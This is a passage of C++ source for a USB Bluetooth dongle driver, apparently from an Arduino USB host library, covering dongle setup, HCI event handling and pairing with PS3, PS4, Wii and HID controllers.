Notify(PSTR(\"\\r\\nBTD Init\"), 0x80);\n#endif\n        UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        delay(300); // Assign new address to the device\n\n        rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device\n        if(rcode) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                p->lowspeed = false;\n                goto Fail;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        p->lowspeed = lowspeed;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        if(VID == PS3_VID && (PID == PS3_PID || PID == PS3NAVIGATION_PID || PID == PS3MOVE_PID)) {\n                delay(100);\n                rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 1); // We only need the Control endpoint, so we don't have to initialize the other endpoints of device\n                if(rcode)\n                        goto FailSetConfDescr;\n\n#ifdef DEBUG_USB_HOST\n                if(PID == PS3_PID || PID == PS3NAVIGATION_PID) {\n                        if(PID == PS3_PID)\n                                Notify(PSTR(\"\\r\\nDualshock 3 Controller Connected\"), 0x80);\n                        else // It must be a navigation controller\n                                Notify(PSTR(\"\\r\\nNavigation Controller Connected\"), 0x80);\n                } else // It must be a Motion controller\n                        Notify(PSTR(\"\\r\\nMotion Controller Connected\"), 0x80);\n#endif\n\n                if(my_bdaddr[0] == 0x00 && my_bdaddr[1] == 0x00 && my_bdaddr[2] == 0x00 && my_bdaddr[3] == 0x00 && my_bdaddr[4] == 0x00 && my_bdaddr[5] == 0x00) {\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nPlease plug in the dongle before trying to pair with the PS3 Controller\\r\\nor set the Bluetooth address in the constructor of the PS3BT class\"), 0x80);\n#endif\n                } else {\n                        if(PID == PS3_PID || PID == PS3NAVIGATION_PID)\n                                setBdaddr(my_bdaddr); // Set internal Bluetooth address\n                        else\n                                setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nBluetooth Address was set to: \"), 0x80);\n                        for(int8_t i = 5; i > 0; i--) {\n                                D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);\n                                Notify(PSTR(\":\"), 0x80);\n                        }\n                        D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);\n#endif\n                }\n\n                pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 0); // Reset configuration value\n                pUsb->setAddr(bAddress, 0, 0); // Reset address\n                Release(); // Release device\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Return\n        } else {\n                // Check if attached device is a Bluetooth dongle and fill endpoint data structure\n                // First interface in the configuration must have Bluetooth assigned Class/Subclass/Protocol\n                // And 3 endpoints - interrupt-IN, bulk-IN, bulk-OUT, not necessarily in this order\n                for(uint8_t i = 0; i < num_of_conf; i++) {\n                        if((VID == IOGEAR_GBU521_VID && PID == IOGEAR_GBU521_PID) || (VID == BELKIN_F8T065BF_VID && PID == BELKIN_F8T065BF_PID)) {\n                                ConfigDescParser<USB_CLASS_VENDOR_SPECIFIC, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Workaround issue with some dongles\n                                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n                        } else {\n                                ConfigDescParser<USB_CLASS_WIRELESS_CTRL, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Set class id according to the specification\n                                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n                        }\n                        if(rcode) // Check error code\n                                goto FailGetConfDescr;\n                        if(bNumEP >= BTD_MAX_ENDPOINTS) // All endpoints extracted\n                                break;\n                }\n\n                if(bNumEP < BTD_MAX_ENDPOINTS)\n                        goto FailUnknownDevice;\n\n                // Assign epInfo to epinfo pointer - this time all 3 endpoins\n                rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n                if(rcode)\n                        goto FailSetDevTblEntry;\n\n                // Set Configuration Value\n                rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bConfNum);\n                if(rcode)\n                        goto FailSetConfDescr;\n\n                hci_num_reset_loops = 100; // only loop 100 times before trying to send the hci reset command\n                hci_counter = 0;\n                hci_state = HCI_INIT_STATE;\n                waitingForConnection = false;\n                bPollEnable = true;\n\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nBluetooth Dongle Initialized\"), 0x80);\n#endif\n        }\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        pUsb->setAddr(bAddress, 0, 0); // Reset address\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nBTD Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\nvoid BTD::Initialize() {\n        uint8_t i;\n        for(i = 0; i < BTD_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n        for(i = 0; i < BTD_NUM_SERVICES; i++) {\n                if(btService[i])\n                        btService[i]->Reset(); // Reset all Bluetooth services\n        }\n\n        connectToWii = false;\n        incomingWii = false;\n        connectToHIDDevice = false;\n        incomingHIDDevice = false;\n        incomingPS4 = false;\n        bAddress = 0; // Clear device address\n        bNumEP = 1; // Must have to be reset to 1\n        qNextPollTime = 0; // Reset next poll time\n        pollInterval = 0;\n        bPollEnable = false; // Don't start polling before dongle is connected\n}\n\n/* Extracts interrupt-IN, bulk-IN, bulk-OUT endpoint information from config descriptor */\nvoid BTD::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {\n        //ErrorMessage<uint8_t>(PSTR(\"Conf.Val\"),conf);\n        //ErrorMessage<uint8_t>(PSTR(\"Iface Num\"),iface);\n        //ErrorMessage<uint8_t>(PSTR(\"Alt.Set\"),alt);\n\n        if(alt) // Wrong interface - by BT spec, no alt setting\n                return;\n\n        bConfNum = conf;\n        uint8_t index;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) { // Interrupt In endpoint found\n                index = BTD_EVENT_PIPE;\n                epInfo[index].bmNakPower = USB_NAK_NOWAIT;\n        } else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) // Bulk endpoint found\n                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? BTD_DATAIN_PIPE : BTD_DATAOUT_PIPE;\n        else\n            return;\n\n        // Fill the rest of endpoint data structure\n        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n#ifdef EXTRADEBUG\n        PrintEndpointDescriptor(pep);\n#endif\n        if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints\n                pollInterval = pep->bInterval;\n        bNumEP++;\n}\n\nvoid BTD::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr __attribute__((unused))) {\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nEndpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n#endif\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t BTD::Release() {\n        Initialize(); // Set all variables, endpoint structs etc. to default values\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        return 0;\n}\n\nuint8_t BTD::Poll() {\n        if(!bPollEnable)\n                return 0;\n        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Don't poll if shorter than polling interval\n                qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time\n                HCI_event_task(); // Poll the HCI event pipe\n                HCI_task(); // HCI state machine\n                ACL_event_task(); // Poll the ACL input pipe too\n        }\n        return 0;\n}\n\nvoid BTD::disconnect() {\n        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)\n                if(btService[i])\n                        btService[i]->disconnect();\n};\n\nvoid BTD::HCI_event_task() {\n        uint16_t length = BULK_MAXPKTSIZE; // Request more than 16 bytes anyway, the inTransfer routine will take care of this\n        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_EVENT_PIPE ].epAddr, &length, hcibuf, pollInterval); // Input on endpoint 1\n\n        if(!rcode || rcode == hrNAK) { // Check for errors\n                switch(hcibuf[0]) { // Switch on event type\n                        case EV_COMMAND_COMPLETE:\n                                if(!hcibuf[5]) { // Check if command succeeded\n                                        hci_set_flag(HCI_FLAG_CMD_COMPLETE); // Set command complete flag\n                                        if((hcibuf[3] == 0x01) && (hcibuf[4] == 0x10)) { // Parameters from read local version information\n                                                hci_version = hcibuf[6]; // Used to check if it supports 2.0+EDR - see http://www.bluetooth.org/Technical/AssignedNumbers/hci.htm\n                                                hci_set_flag(HCI_FLAG_READ_VERSION);\n                                        } else if((hcibuf[3] == 0x09) && (hcibuf[4] == 0x10)) { // Parameters from read local bluetooth address\n                                                for(uint8_t i = 0; i < 6; i++)\n                                                        my_bdaddr[i] = hcibuf[6 + i];\n                                                hci_set_flag(HCI_FLAG_READ_BDADDR);\n                                        }\n                                }\n                                break;\n\n                        case EV_COMMAND_STATUS:\n                                if(hcibuf[2]) { // Show status on serial if not OK\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nHCI Command Failed: \"), 0x80);\n                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);\n#endif\n                                }\n                                break;\n\n                        case EV_INQUIRY_COMPLETE:\n                                if(inquiry_counter >= 5 && (pairWithWii || pairWithHIDDevice)) {\n                                        inquiry_counter = 0;\n#ifdef DEBUG_USB_HOST\n                                        if(pairWithWii)\n                                                Notify(PSTR(\"\\r\\nCouldn't find Wiimote\"), 0x80);\n                                        else\n                                                Notify(PSTR(\"\\r\\nCouldn't find HID device\"), 0x80);\n#endif\n                                        connectToWii = false;\n                                        pairWithWii = false;\n                                        connectToHIDDevice = false;\n                                        pairWithHIDDevice = false;\n                                        hci_state = HCI_SCANNING_STATE;\n                                }\n                                inquiry_counter++;\n                                break;\n\n                        case EV_INQUIRY_RESULT:\n                                if(hcibuf[2]) { // Check that there is more than zero responses\n#ifdef EXTRADEBUG\n                                        Notify(PSTR(\"\\r\\nNumber of responses: \"), 0x80);\n                                        Notify(hcibuf[2], 0x80);\n#endif\n                                        for(uint8_t i = 0; i < hcibuf[2]; i++) {\n                                                uint8_t offset = 8 * hcibuf[2] + 3 * i;\n\n                                                for(uint8_t j = 0; j < 3; j++)\n                                                        classOfDevice[j] = hcibuf[j + 4 + offset];\n\n#ifdef EXTRADEBUG\n                                                Notify(PSTR(\"\\r\\nClass of device: \"), 0x80);\n                                                D_PrintHex<uint8_t > (classOfDevice[2], 0x80);\n                                                Notify(PSTR(\" \"), 0x80);\n                                                D_PrintHex<uint8_t > (classOfDevice[1], 0x80);\n                                                Notify(PSTR(\" \"), 0x80);\n                                                D_PrintHex<uint8_t > (classOfDevice[0], 0x80);\n#endif\n\n                                                if(pairWithWii && classOfDevice[2] == 0x00 && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0x0C)) { // See http://wiibrew.org/wiki/Wiimote#SDP_information\n                                                        checkRemoteName = true; // Check remote name to distinguish between the different controllers\n\n                                                        for(uint8_t j = 0; j < 6; j++)\n                                                                disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];\n\n                                                        hci_set_flag(HCI_FLAG_DEVICE_FOUND);\n                                                        break;\n                                                } else if(pairWithHIDDevice && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad - see: http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html\n#ifdef DEBUG_USB_HOST\n                                                        if(classOfDevice[0] & 0x80)\n                                                                Notify(PSTR(\"\\r\\nMouse found\"), 0x80);\n                                                        if(classOfDevice[0] & 0x40)\n                                                                Notify(PSTR(\"\\r\\nKeyboard found\"), 0x80);\n                                                        if(classOfDevice[0] & 0x08)\n                                                                Notify(PSTR(\"\\r\\nGamepad found\"), 0x80);\n#endif\n\n                                                        for(uint8_t j = 0; j < 6; j++)\n                                                                disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];\n\n                                                        hci_set_flag(HCI_FLAG_DEVICE_FOUND);\n                                                        break;\n                                                }\n                                        }\n                                }\n                                break;\n\n                        case EV_CONNECT_COMPLETE:\n                                hci_set_flag(HCI_FLAG_CONNECT_EVENT);\n                                if(!hcibuf[2]) { // Check if connected OK\n#ifdef EXTRADEBUG\n                                        Notify(PSTR(\"\\r\\nConnection established\"), 0x80);\n#endif\n                                        hci_handle = hcibuf[3] | ((hcibuf[4] & 0x0F) << 8); // Store the handle for the ACL connection\n                                        hci_set_flag(HCI_FLAG_CONNECT_COMPLETE); // Set connection complete flag\n                                } else {\n                                        hci_state = HCI_CHECK_DEVICE_SERVICE;\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nConnection Failed: \"), 0x80);\n                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);\n#endif\n                                }\n                                break;\n\n                        case EV_DISCONNECT_COMPLETE:\n                                if(!hcibuf[2]) { // Check if disconnected OK\n                                        hci_set_flag(HCI_FLAG_DISCONNECT_COMPLETE); // Set disconnect command complete flag\n                                        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE); // Clear connection complete flag\n                                }\n                                break;\n\n                        case EV_REMOTE_NAME_COMPLETE:\n                                if(!hcibuf[2]) { // Check if reading is OK\n                                        for(uint8_t i = 0; i < min(sizeof (remote_name), sizeof (hcibuf) - 9); i++) {\n                                                remote_name[i] = hcibuf[9 + i];\n                                                if(remote_name[i] == '\\0') // End of string\n                                                        break;\n                                        }\n                                        // TODO: Altid sæt '\\0' i remote name!\n                                        hci_set_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);\n                                }\n                                break;\n\n                        case EV_INCOMING_CONNECT:\n                                for(uint8_t i = 0; i < 6; i++)\n                                        disc_bdaddr[i] = hcibuf[i + 2];\n\n                                for(uint8_t i = 0; i < 3; i++)\n                                        classOfDevice[i] = hcibuf[i + 8];\n\n                                if((classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad\n#ifdef DEBUG_USB_HOST\n                                        if(classOfDevice[0] & 0x80)\n                                                Notify(PSTR(\"\\r\\nMouse is connecting\"), 0x80);\n                                        if(classOfDevice[0] & 0x40)\n                                                Notify(PSTR(\"\\r\\nKeyboard is connecting\"), 0x80);\n                                        if(classOfDevice[0] & 0x08)\n                                                Notify(PSTR(\"\\r\\nGamepad is connecting\"), 0x80);\n#endif\n                                        incomingHIDDevice = true;\n                                }\n\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nClass of device: \"), 0x80);\n                                D_PrintHex<uint8_t > (classOfDevice[2], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (classOfDevice[1], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (classOfDevice[0], 0x80);\n#endif\n                                hci_set_flag(HCI_FLAG_INCOMING_REQUEST);\n                                break;\n\n                        case EV_PIN_CODE_REQUEST:\n                                if(pairWithWii) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nPairing with Wiimote\"), 0x80);\n#endif\n                                        hci_pin_code_request_reply();\n                                } else if(btdPin != NULL) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nBluetooth pin is set too: \"), 0x80);\n                                        NotifyStr(btdPin, 0x80);\n#endif\n                                        hci_pin_code_request_reply();\n                                } else {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nNo pin was set\"), 0x80);\n#endif\n                                        hci_pin_code_negative_request_reply();\n                                }\n                                break;\n\n                        case EV_LINK_KEY_REQUEST:\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nReceived Key Request\"), 0x80);\n#endif\n                                hci_link_key_request_negative_reply();\n                                break;\n\n                        case EV_AUTHENTICATION_COMPLETE:\n                                if(!hcibuf[2]) { // Check if pairing was successful\n                                        if(pairWithWii && !connectToWii) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\"\\r\\nPairing successful with Wiimote\"), 0x80);\n#endif\n                                                connectToWii = true; // Used to indicate to the Wii service, that it should connect to this device\n                                        } else if(pairWithHIDDevice && !connectToHIDDevice) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\"\\r\\nPairing successful with HID device\"), 0x80);\n#endif\n                                                connectToHIDDevice = true; // Used to indicate to the BTHID service, that it should connect to this device\n                                        }\n                                } else {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nPairing Failed: \"), 0x80);\n                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);\n#endif\n                                        hci_disconnect(hci_handle);\n                                        hci_state = HCI_DISCONNECT_STATE;\n                                }\n                                break;\n                                /* We will just ignore the following events */\n                        case EV_NUM_COMPLETE_PKT:\n                        case EV_ROLE_CHANGED:\n                        case EV_PAGE_SCAN_REP_MODE:\n                        case EV_LOOPBACK_COMMAND:\n                        case EV_DATA_BUFFER_OVERFLOW:\n                        case EV_CHANGE_CONNECTION_LINK:\n                        case EV_MAX_SLOTS_CHANGE:\n                        case EV_QOS_SETUP_COMPLETE:\n                        case EV_LINK_KEY_NOTIFICATION:\n                        case EV_ENCRYPTION_CHANGE:\n                        case EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE:\n                                break;\n#ifdef EXTRADEBUG\n                        default:\n                                if(hcibuf[0] != 0x00) {\n                                        Notify(PSTR(\"\\r\\nUnmanaged HCI Event: \"), 0x80);\n                                        D_PrintHex<uint8_t > (hcibuf[0], 0x80);\n                                }\n                                break;\n#endif\n                } // Switch\n        }\n#ifdef EXTRADEBUG\n        else {\n                Notify(PSTR(\"\\r\\nHCI event error: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n        }\n#endif\n}\n\n/* Poll Bluetooth and print result */\nvoid BTD::HCI_task() {\n        switch(hci_state) {\n                case HCI_INIT_STATE:\n                        hci_counter++;\n                        if(hci_counter > hci_num_reset_loops) { // wait until we have looped x times to clear any old events\n                                hci_reset();\n                                hci_state = HCI_RESET_STATE;\n                                hci_counter = 0;\n                        }\n                        break;\n\n                case HCI_RESET_STATE:\n                        hci_counter++;\n                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {\n                                hci_counter = 0;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHCI Reset complete\"), 0x80);\n#endif\n                                hci_state = HCI_CLASS_STATE;\n                                hci_write_class_of_device();\n                        } else if(hci_counter > hci_num_reset_loops) {\n                                hci_num_reset_loops *= 10;\n                                if(hci_num_reset_loops > 2000)\n                                        hci_num_reset_loops = 2000;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nNo response to HCI Reset\"), 0x80);\n#endif\n                                hci_state = HCI_INIT_STATE;\n                                hci_counter = 0;\n                        }\n                        break;\n\n                case HCI_CLASS_STATE:\n                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nWrite class of device\"), 0x80);\n#endif\n                                hci_state = HCI_BDADDR_STATE;\n                                hci_read_bdaddr();\n                        }\n                        break;\n\n                case HCI_BDADDR_STATE:\n                        if(hci_check_flag(HCI_FLAG_READ_BDADDR)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nLocal Bluetooth Address: \"), 0x80);\n                                for(int8_t i = 5; i > 0; i--) {\n                                        D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);\n                                        Notify(PSTR(\":\"), 0x80);\n                                }\n                                D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);\n#endif\n                                hci_read_local_version_information();\n                                hci_state = HCI_LOCAL_VERSION_STATE;\n                        }\n                        break;\n\n                case HCI_LOCAL_VERSION_STATE: // The local version is used by the PS3BT class\n                        if(hci_check_flag(HCI_FLAG_READ_VERSION)) {\n                                if(btdName != NULL) {\n                                        hci_set_local_name(btdName);\n                                        hci_state = HCI_SET_NAME_STATE;\n                                } else\n                                        hci_state = HCI_CHECK_DEVICE_SERVICE;\n                        }\n                        break;\n\n                case HCI_SET_NAME_STATE:\n                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nThe name is set to: \"), 0x80);\n                                NotifyStr(btdName, 0x80);\n#endif\n                                hci_state = HCI_CHECK_DEVICE_SERVICE;\n                        }\n                        break;\n\n                case HCI_CHECK_DEVICE_SERVICE:\n                        if(pairWithHIDDevice || pairWithWii) { // Check if it should try to connect to a Wiimote\n#ifdef DEBUG_USB_HOST\n                                if(pairWithWii)\n                                        Notify(PSTR(\"\\r\\nStarting inquiry\\r\\nPress 1 & 2 on the Wiimote\\r\\nOr press the SYNC button if you are using a Wii U Pro Controller or a Wii Balance Board\"), 0x80);\n                                else\n                                        Notify(PSTR(\"\\r\\nPlease enable discovery of your device\"), 0x80);\n#endif\n                                hci_inquiry();\n                                hci_state = HCI_INQUIRY_STATE;\n                        } else\n                                hci_state = HCI_SCANNING_STATE; // Don't try to connect to a Wiimote\n                        break;\n\n                case HCI_INQUIRY_STATE:\n                        if(hci_check_flag(HCI_FLAG_DEVICE_FOUND)) {\n                                hci_inquiry_cancel(); // Stop inquiry\n#ifdef DEBUG_USB_HOST\n                                if(pairWithWii)\n                                        Notify(PSTR(\"\\r\\nWiimote found\"), 0x80);\n                                else\n                                        Notify(PSTR(\"\\r\\nHID device found\"), 0x80);\n\n                                Notify(PSTR(\"\\r\\nNow just create the instance like so:\"), 0x80);\n                                if(pairWithWii)\n                                        Notify(PSTR(\"\\r\\nWII Wii(&Btd);\"), 0x80);\n                                else\n                                        Notify(PSTR(\"\\r\\nBTHID bthid(&Btd);\"), 0x80);\n\n                                Notify(PSTR(\"\\r\\nAnd then press any button on the \"), 0x80);\n                                if(pairWithWii)\n                                        Notify(PSTR(\"Wiimote\"), 0x80);\n                                else\n                                        Notify(PSTR(\"device\"), 0x80);\n#endif\n                                if(checkRemoteName) {\n                                        hci_remote_name(); // We need to know the name to distinguish between the Wiimote, the new Wiimote with Motion Plus inside, a Wii U Pro Controller and a Wii Balance Board\n                                        hci_state = HCI_REMOTE_NAME_STATE;\n                                } else\n                                        hci_state = HCI_CONNECT_DEVICE_STATE;\n                        }\n                        break;\n\n                case HCI_CONNECT_DEVICE_STATE:\n                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                if(pairWithWii)\n                                        Notify(PSTR(\"\\r\\nConnecting to Wiimote\"), 0x80);\n                                else\n                                        Notify(PSTR(\"\\r\\nConnecting to HID device\"), 0x80);\n#endif\n                                checkRemoteName = false;\n                                hci_connect();\n                                hci_state = HCI_CONNECTED_DEVICE_STATE;\n                        }\n                        break;\n\n                case HCI_CONNECTED_DEVICE_STATE:\n                        if(hci_check_flag(HCI_FLAG_CONNECT_EVENT)) {\n                                if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                        if(pairWithWii)\n                                                Notify(PSTR(\"\\r\\nConnected to Wiimote\"), 0x80);\n                                        else\n                                                Notify(PSTR(\"\\r\\nConnected to HID device\"), 0x80);\n#endif\n                                        hci_authentication_request(); // This will start the pairing with the Wiimote\n                                        hci_state = HCI_SCANNING_STATE;\n                                } else {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nTrying to connect one more time...\"), 0x80);\n#endif\n                                        hci_connect(); // Try to connect one more time\n                                }\n                        }\n                        break;\n\n                case HCI_SCANNING_STATE:\n                        if(!connectToWii && !pairWithWii && !connectToHIDDevice && !pairWithHIDDevice) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nWait For Incoming Connection Request\"), 0x80);\n#endif\n                                hci_write_scan_enable();\n                                waitingForConnection = true;\n                                hci_state = HCI_CONNECT_IN_STATE;\n                        }\n                        break;\n\n                case HCI_CONNECT_IN_STATE:\n                        if(hci_check_flag(HCI_FLAG_INCOMING_REQUEST)) {\n                                waitingForConnection = false;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nIncoming Connection Request\"), 0x80);\n#endif\n                                hci_remote_name();\n                                hci_state = HCI_REMOTE_NAME_STATE;\n                        } else if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE))\n                                hci_state = HCI_DISCONNECT_STATE;\n                        break;\n\n                case HCI_REMOTE_NAME_STATE:\n                        if(hci_check_flag(HCI_FLAG_REMOTE_NAME_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nRemote Name: \"), 0x80);\n                                for(uint8_t i = 0; i < strlen(remote_name); i++)\n                                        Notifyc(remote_name[i], 0x80);\n#endif\n                                if(strncmp((const char*)remote_name, \"Nintendo\", 8) == 0) {\n                                        incomingWii = true;\n                                        motionPlusInside = false;\n                                        wiiUProController = false;\n                                        pairWiiUsingSync = false;\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nWiimote is connecting\"), 0x80);\n#endif\n                                        if(strncmp((const char*)remote_name, \"Nintendo RVL-CNT-01-TR\", 22) == 0) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\" with Motion Plus Inside\"), 0x80);\n#endif\n                                                motionPlusInside = true;\n                                        } else if(strncmp((const char*)remote_name, \"Nintendo RVL-CNT-01-UC\", 22) == 0) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\" - Wii U Pro Controller\"), 0x80);\n#endif\n                                                wiiUProController = motionPlusInside = pairWiiUsingSync = true;\n                                        } else if(strncmp((const char*)remote_name, \"Nintendo RVL-WBC-01\", 19) == 0) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\" - Wii Balance Board\"), 0x80);\n#endif\n                                                pairWiiUsingSync = true;\n                                        }\n                                }\n                                if(classOfDevice[2] == 0 && classOfDevice[1] == 0x25 && classOfDevice[0] == 0x08 && strncmp((const char*)remote_name, \"Wireless Controller\", 19) == 0) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nPS4 controller is connecting\"), 0x80);\n#endif\n                                        incomingPS4 = true;\n                                }\n                                if(pairWithWii && checkRemoteName)\n                                        hci_state = HCI_CONNECT_DEVICE_STATE;\n                                else {\n                                        hci_accept_connection();\n                                        hci_state = HCI_CONNECTED_STATE;\n                                }\n                        }\n                        break;\n\n                case HCI_CONNECTED_STATE:\n                        if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                